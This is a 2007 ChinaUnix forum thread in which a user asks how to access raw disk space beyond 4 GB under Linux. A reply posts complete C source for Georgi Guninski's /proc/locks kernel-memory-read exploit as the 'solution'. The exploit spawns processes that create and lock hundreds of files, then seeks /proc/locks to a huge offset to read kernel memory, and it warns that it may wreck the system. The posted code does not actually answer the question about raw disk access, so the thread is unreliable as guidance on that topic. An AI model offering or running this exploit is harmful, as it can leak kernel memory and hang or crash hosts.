免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2844 | 回复: 2
打印 上一主题 下一主题

急用,请教linux下裸访问硬盘空间 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-11-28 16:57 |只看该作者 |倒序浏览
10可用积分
各位大侠,
如何在linux下裸访问硬盘超过4G的空间,或者有linux文件系统调用堆栈资料的也可以共享下。

论坛徽章:
0
2 [报告]
发表于 2007-11-29 08:48 |只看该作者
问题解决

  1. /*
  2. * copyright georgi guninski
  3. * cannot be used in vulnerability databases like securityfocus and mitre
  4. *
  5. * */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <sys/types.h>
  9. #include <sys/stat.h>
  10. #include <fcntl.h>
  11. #include <unistd.h>
  12. #include <string.h>
  13. #include <sys/mman.h>
  14. #include <sys/file.h>
  15. #include <syscall.h>
  16. #include <errno.h>

  17. _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
  18. uint, wh)

  19. void makefiles()
  20. {
  21. int cou,fv;
  22. char vn[242];
  23. for(cou=0;cou<920;cou++)
  24. {
  25. snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
  26. fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
  27. if (fv <0) perror("open2");
  28. if (flock(fv,LOCK_EX) == -1) perror("flock");

  29. }
  30. while(42);
  31. }

  32. int main(int ac, char **av)
  33. {
  34. int fd,fv,i,cou;
  35. void *mv;
  36. char *he,*he2;
  37. loff_t lr;
  38. char c;


  39. printf("\n\nThis may seriously screw your box\n\n");
  40. printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
  41. printf("Press 'Y' to run it\n");
  42. read(0,&c,1);
  43. if (c != 'Y') return 42;
  44. cou=5;
  45. printf("creating files...\n");
  46. while(cou--)
  47. if (!fork())
  48. makefiles();

  49. sleep(20);
  50. printf("starting...\n");
  51. system("sync");
  52. fd=open("/proc/locks",O_RDONLY);
  53. if (fd <0) perror("open");
  54. he=malloc(1024*1024*8);
  55. he2=malloc(1024*1024*8);


  56. if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
  57. i=read(fd,he2, 0x80004242);
  58. perror("read");
  59. printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
  60. while(42);
  61. return 42;
  62. }
复制代码

[ 本帖最后由 platinum 于 2007-11-29 10:34 编辑 ]

论坛徽章:
3
CU大牛徽章
日期:2013-03-13 15:32:35CU大牛徽章
日期:2013-03-13 15:38:15CU大牛徽章
日期:2013-03-13 15:38:52
3 [报告]
发表于 2007-11-29 09:38 |只看该作者
这么多符号,要禁用代码模式
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP